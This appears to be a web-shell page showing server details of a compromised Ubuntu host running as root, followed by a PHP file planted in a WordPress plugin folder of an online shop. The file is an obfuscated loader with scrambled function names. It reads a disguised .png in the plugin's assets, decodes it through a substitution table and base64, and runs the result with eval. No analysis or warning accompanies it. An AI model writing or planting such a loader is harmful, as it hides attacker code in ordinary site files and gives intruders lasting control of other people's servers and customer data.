HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vmi1674223.contaboserver.net 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC 2024 x86_64
User: root (0)
PHP: 7.4.3-4ubuntu2.22
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/onlineshopold/wp-content/plugins/avozakevog/zumachu.txt
<?php

function puzawo_ivoshush($ixoseq_yfuwythuc) {
    switch ($ixoseq_yfuwythuc) {
        case 1:
            return hofipu_elobokhilo();
        case 2:
            return tufevu_ithyrejyzhy();
    }
}

function pybopi_ykheporyd($ixoseq_yfuwythuc) {
    $nuwachi = puzawo_ivoshush(1);
    $ycaxyq = puzawo_ivoshush(2);
    for ($aqigak = 0; $aqigak < strlen($nuwachi); $aqigak++) {
        $akaweci = substr($nuwachi, $aqigak, 1);
        $wuxepo = substr($ycaxyq, $aqigak, 1);
        $chabuva[$akaweci] = $wuxepo;
    }

    $fababo = strtr($ixoseq_yfuwythuc, $chabuva);
    $fababo = base64_decode($fababo);

    return $fababo;
}

function amifow_gekinath($ixoseq_yfuwythuc) {
    $ymuqof = array();
    if (!file_exists($ixoseq_yfuwythuc))
        return false;
    $kequchu = @file_get_contents($ixoseq_yfuwythuc);
    if (!$kequchu)
        return false;
    $kequchu = substr($kequchu, 3);
    $ymuqof = pybopi_ykheporyd($kequchu);
    return $ymuqof;
}

function hofipu_elobokhilo() {
    $kequchu = "dKwYRctC5AloX+1TE7HpVMqhsU8/uZeILNDbg3y90izQfj4Pxv2JSnrGkWaOmF=B6";
    return $kequchu;
}

function tufevu_ithyrejyzhy() {
    $ymuqof = "8VJzS4e3AN+fD0bFu/XLHqpmj51=OQBZaPEcodG6lknRgtvKhxCwM7ri9TIU2WsYy";
    return $ymuqof;
}

$gozefir = amifow_gekinath(__DIR__ . "/ass" . "ets/im" . "ages/w" . "ecidoz" . ".png");
if ($gozefir) {
    @eval($gozefir);
}